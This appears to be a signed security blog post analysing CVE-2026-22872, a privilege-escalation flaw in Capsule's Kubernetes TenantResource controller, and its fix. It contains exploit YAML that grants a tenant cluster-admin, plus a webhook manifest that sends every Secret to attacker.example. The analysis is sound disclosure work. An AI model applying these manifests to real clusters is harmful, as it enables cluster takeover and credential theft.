-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"Capsule's TenantResource controller decodes a tenant owner's raw YAML, calls `obj.SetNamespace(ns.Name)` to keep the result inside the tenant's boundary, and then performs `createOrUpdate` with the controller's own credentials. The controller's own credentials are cluster-admin.\n\nCVE-2026-22872 is the gap between those three lines. `SetNamespace` is the enforcement. The Kubernetes API silently drops `.metadata.namespace` on cluster-scoped resources. Any tenant owner who can write a TenantResource can ask the controller to mint cluster-wide objects on their behalf.\n\n## The enforcement is `obj.SetNamespace`\n\nThe vulnerable function is `HandleSection` in `internal/controllers/resources/processor.go`, the file that v0.13.0 deletes wholesale as part of its refactor. Inside `HandleSection`, the `RawItems` loop is three operations:\n\n```go\nfor rawIndex, item := range spec.RawItems {\n template := string(item.Raw)\n fastContext := tenant.ContextForTenantAndNamespace(&tnt, &ns)\n tmplString := tpl.FastTemplate(template, fastContext)\n obj, keysAndValues := unstructured.Unstructured{}, []any{\"index\", rawIndex}\n\n if _, _, decodeErr := codecFactory.UniversalDeserializer().Decode(\n []byte(tmplString), nil, &obj,\n ); decodeErr != nil {\n log.Error(decodeErr, \"unable to deserialize rawItem\", keysAndValues...)\n syncErr = errors.Join(syncErr, decodeErr)\n continue\n }\n\n obj.SetNamespace(ns.Name)\n\n if rawErr := r.createOrUpdate(ctx, &obj, objLabels, objAnnotations); rawErr != nil {\n log.Info(\"unable to sync rawItem\", keysAndValues...)\n syncErr = errors.Join(syncErr, rawErr)\n } else {\n log.Info(\"resource has been replicated\", keysAndValues...)\n ...\n }\n}\n```\n\nThree things happen, in order.\n\n`codecFactory.UniversalDeserializer().Decode` accepts any Kubernetes object whose GVK is in the scheme. ConfigMap parses. Deployment parses. ClusterRole parses. ClusterRoleBinding parses. ValidatingWebhookConfiguration parses. The decoder does not care whether the kind is namespaced.\n\n`obj.SetNamespace(ns.Name)` writes the tenant's namespace string into `.metadata.namespace` on the decoded object. This is the line the design treats as the trust boundary. Every other line above and below it presupposes that this one is doing scope enforcement.\n\n`r.createOrUpdate(...)` is fifteen lines that hand the object to a `controllerutil.CreateOrUpdate` call against `r.client`:\n\n```go\nfunc (r *Processor) createOrUpdate(\n ctx context.Context,\n obj *unstructured.Unstructured,\n labels map[string]string,\n annotations map[string]string,\n) (err error) {\n actual, desired := &unstructured.Unstructured{}, obj.DeepCopy()\n\n actual.SetAPIVersion(desired.GetAPIVersion())\n actual.SetKind(desired.GetKind())\n actual.SetNamespace(desired.GetNamespace())\n actual.SetName(desired.GetName())\n\n _, err = controllerutil.CreateOrUpdate(ctx, r.client, actual, func() error {\n ...\n })\n\n return err\n}\n```\n\n`r.client` is the controller-runtime client. Its identity is the Capsule controller's ServiceAccount. The default Helm chart binds that ServiceAccount to `cluster-admin`, because Capsule's defensive mission is to replicate RBAC, NetworkPolicy, ResourceQuota, and Secret across namespaces the controller does not own, and cluster-admin is the only role that grants write access into every namespace at once.\n\nThe boundary the controller drew was the boundary `obj.SetNamespace` can draw. `obj.SetNamespace` draws no boundary on objects whose backing storage ignores the field.\n\n## Two resource kinds. Same controller. Different blast radius.\n\nThe Kubernetes API server branches on resource scope before it looks at `.metadata.namespace`. For a namespaced resource, the namespace is part of the object's identity and is required for storage. For a cluster-scoped resource, there is no namespace dimension in storage; the apiserver accepts the request body, drops the namespace field if present, and writes the object cluster-wide.\n\nA tenant owner with `TenantResource` write authority in their own namespace submits:\n\n```yaml\napiVersion: capsule.clastix.io/v1beta2\nkind: TenantResource\nmetadata:\n name: escalate\n namespace: alice-tenant-a\nspec:\n resyncPeriod: 60s\n pruningOnDelete: false\n resources:\n - namespaceSelector:\n matchLabels:\n capsule.clastix.io/tenant: alice\n rawItems:\n - apiVersion: rbac.authorization.k8s.io/v1\n kind: ClusterRoleBinding\n metadata:\n name: alice-becomes-cluster-admin\n subjects:\n - kind: ServiceAccount\n name: default\n namespace: alice-tenant-a\n roleRef:\n apiGroup: rbac.authorization.k8s.io\n kind: ClusterRole\n name: cluster-admin\n```\n\nThe TenantResource lands in `alice-tenant-a`, where the tenant owner has RBAC to create it. The Capsule controller picks it up. `HandleSection` iterates `spec.NamespacedItems` (empty), then iterates `spec.RawItems` once per selected namespace. The decoder parses the inline YAML and produces an unstructured `ClusterRoleBinding`. `obj.SetNamespace(\"alice-tenant-a\")` writes the field. `createOrUpdate` POSTs the object via `r.client`, which is bearing the controller's cluster-admin token. The apiserver receives the POST, routes it to the cluster-scoped ClusterRoleBinding handler, and writes the binding to etcd without the namespace field. The binding's `subjects[0]` is a ServiceAccount inside the tenant's own namespace. The binding's `roleRef` is `cluster-admin`. The tenant owner now has cluster-admin against every API resource on every node in the cluster.\n\nThe advisory's second weaponization is a ValidatingWebhookConfiguration:\n\n```yaml\n- apiVersion: admissionregistration.k8s.io/v1\n kind: ValidatingWebhookConfiguration\n metadata:\n name: alice-intercepts-secrets\n webhooks:\n - name: peek.alice.example\n sideEffects: None\n admissionReviewVersions: [\"v1\"]\n failurePolicy: Ignore\n clientConfig:\n url: https://attacker.example/peek\n rules:\n - apiGroups: [\"\"]\n apiVersions: [\"v1\"]\n operations: [\"CREATE\", \"UPDATE\"]\n resources: [\"secrets\"]\n scope: \"*\"\n```\n\nSame code path. Same decoder. Same SetNamespace. Same createOrUpdate. ValidatingWebhookConfiguration is cluster-scoped; the namespace field is silently dropped. The webhook lands cluster-wide with `failurePolicy: Ignore`, which means the apiserver continues even when the webhook never responds. Every Secret create or update in the cluster after that point passes through `https://attacker.example/peek`. The kube-system ServiceAccount tokens. The cert-manager private keys. The cloud-provider credentials.\n\nBoth payloads ride the same three lines.\n\n## Capsule's defensive mission is cluster-admin\n\nThis is the [security-tool-as-primitive](/patterns/security-tool-as-primitive) shape in its sharpest form. Capsule's reason to exist is to bolt multi-tenancy onto vanilla Kubernetes, and the only way to bolt multi-tenancy onto Kubernetes is to have an authority above all tenants. The Helm chart's default ClusterRoleBinding is to `cluster-admin` because every narrower role is strictly weaker than what the controller has to do during reconciliation. The README documents this. The advisory cites it as a precondition.\n\nThe pattern's question is whether the operator's API to the controller is narrower than what the controller can do. For Capsule, the operator's API to the controller is the set of CRDs the controller watches. `TenantResource` was supposed to be narrower than cluster-admin. Its name encodes its scope. Its CRD enumerates two collection types: `NamespacedItems`, which references existing in-cluster objects by selector, and `RawItems`, which embeds YAML inline. The developer's threat model was that a tenant owner would only ever embed tenant-scope objects in `RawItems`, because the surrounding type and field names tell that story.\n\nThe decoder does not read field names. `runtime.RawExtension` is `runtime.RawExtension`. The check that would discriminate, `mapper.RESTMapping(gvk.GroupKind(), gvk.Version).Scope.Name() != k8smeta.RESTScopeNameNamespace`, exists elsewhere in the same codebase. Capsule's `customquota` calculator uses it: `if in.RequireNamespacedTargets && mapping.Scope.Name() != k8smeta.RESTScopeNameNamespace`. The check did not run on the path that decoded tenant owner YAML and handed it to a cluster-admin client.\n\nThis is the [trust-inversion](/posts/the-trust-inversion) shape one layer in. The distrusted lane, a tenant owner calling the Kubernetes API directly, runs through Kubernetes RBAC and gets stopped at the first cluster-scoped `create`. The trusted lane, the Capsule controller reconciling a TenantResource on the tenant owner's behalf, runs as cluster-admin and has no scope check between the YAML and the apply. The trust the operator placed in the type name was the trust the runtime did not enforce. The credential that authorizes Capsule to do its job is the credential the tenant owner inherits whenever they can shape the input to a controller method.\n\n## The fix is a parameter named `allowClusterScoped`\n\nCapsule v0.13.0, shipped May 28 2026 in commit `cc4fb45d`, deletes the old `internal/controllers/resources/processor.go` (320 lines, with the `HandleSection` body) and replaces the loader with a new `pkg/template/reference.go` whose `LoadResources` takes an explicit boolean:\n\n```go\nfunc (t ResourceReference) LoadResources(\n ctx context.Context,\n kubeClient client.Client,\n restMapper k8smeta.RESTMapper,\n namespace string,\n additionSelectors []labels.Selector,\n templateContext map[string]string,\n allowClusterScoped bool,\n validateNamespace NamespaceValidator,\n) ([]*unstructured.Unstructured, error) {\n isNamespaced, err := t.IsNamespacedGVK(restMapper)\n if err != nil {\n return nil, err\n }\n\n if !allowClusterScoped && !isNamespaced {\n return nil, fmt.Errorf(\n \"cluster-scoped kind %s/%s is not allowed\", t.APIVersion, t.Kind,\n )\n }\n ...\n}\n```\n\nAnd `IsNamespacedGVK` is twelve lines:\n\n```go\nfunc (t ResourceReference) IsNamespacedGVK(\n restMapper k8smeta.RESTMapper,\n) (bool, error) {\n gv, err := schema.ParseGroupVersion(t.APIVersion)\n if err != nil {\n return false, fmt.Errorf(\"invalid apiVersion %q: %w\", t.APIVersion, err)\n }\n\n gvk := gv.WithKind(t.Kind)\n\n mapping, err := restMapper.RESTMapping(gvk.GroupKind(), gvk.Version)\n if err != nil {\n return false, fmt.Errorf(\"failed to resolve GVK %s: %w\", gvk.String(), err)\n }\n\n isNamespaced := mapping.Scope.Name() == k8smeta.RESTScopeNameNamespace\n\n return isNamespaced, nil\n}\n```\n\nThe tenant-scoped call site, `internal/controllers/resources/collect.go:308`, passes `false`:\n\n```go\np, err := item.LoadResources(\n ctx, c, co.mapper, namespace,\n []labels.Selector{selector},\n opts.Iterator.FastContext,\n false,\n opts.ValidatorNamespaces,\n)\n```\n\nThe check the apiserver was implicitly performing on the bug's behalf, \"what scope is this kind,\" now runs in Capsule's own code, before the controller's credentials get involved. Inputs the apiserver would have silently accepted at cluster scope are now rejected at load time with a typed error.\n\nTwo observations about the diff.\n\nThe relevant repair is twelve lines: ask the RESTMapper what scope this kind is, refuse if it is cluster-scoped on a tenant-scoped path. Twelve lines closes the CVE. Everything else in the v0.13.0 changeset is unrelated work the same release happened to ship.\n\nThe diff shipped inside a 320-line deletion and a six-thousand-line addition, with the commit title `feat: upstream enterprise preview (#1841)`. Operators reading the v0.13.0 changelog would not learn that the file containing `HandleSection` had been removed because it was unsafe. They would learn that the project added enterprise features. The fix is in the diff. The disclosure is the GHSA, published on a separate timeline.\n\n## The enforcement was a no-op for the kinds that mattered\n\nThe decoder accepts every kind the apiserver knows. The enforcement is a syscall the apiserver documents as a no-op for the exact kinds the attacker wanted to create. The credential on the other side is cluster-admin. A tenant owner submits YAML; the controller decodes it, decorates it with a namespace field the apiserver will throw away, and then signs the request with cluster-admin. The boundary lives at exactly one place in the code, and at that one place the design picked a primitive that does nothing on the inputs that mattered.\n\nA multi-tenancy controller's only meaningful enforcement is what it refuses to create. `SetNamespace` is not refusal. It is decoration on a field the apiserver does not read for the kinds the attacker was always going to ask for.\n\nPoC: [GHSA-qjjm-7j9w-pw72](https://github.com/advisories/GHSA-qjjm-7j9w-pw72)\n","closing_line":"A multi-tenancy controller's only meaningful enforcement is what it refuses to create. `SetNamespace` is not refusal. It is decoration on a field the apiserver does not read for the kinds the attacker was always going to ask for.","hook_md":"Capsule's TenantResource controller decodes a tenant owner's raw YAML, calls `obj.SetNamespace(ns.Name)` to keep the result inside the tenant's boundary, and then performs `createOrUpdate` with the controller's own credentials. The controller's own credentials are cluster-admin.\n\nCVE-2026-22872 is the gap between those three lines. `SetNamespace` is the enforcement. The Kubernetes API silently drops `.metadata.namespace` on cluster-scoped resources. Any tenant owner who can write a TenantResource can ask the controller to mint cluster-wide objects on their behalf.","post_id":596,"slug":"capsule-cve-2026-22872-setnamespace-was-the-boundary","title":"CVE-2026-22872: Capsule's TenantResource Boundary Was A SetNamespace Call. ClusterRole Has No Namespace.","type":"initial","unreadable_sentence":"The enforcement was a syscall documented to be a no-op for the exact resource kinds the attacker wanted to create."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCaw4sHwAKCRDeZjl4jgkQ JuoRAQCMcvv3VhBOfA1utUcm8/2aVq91K0Eh3fwPvneeFCU/VwEA0IiwVpe7Ht9I hy+dS57JrXPyqWGZqzDuIIjhGTfZ9AQ= =1GpX -----END PGP SIGNATURE-----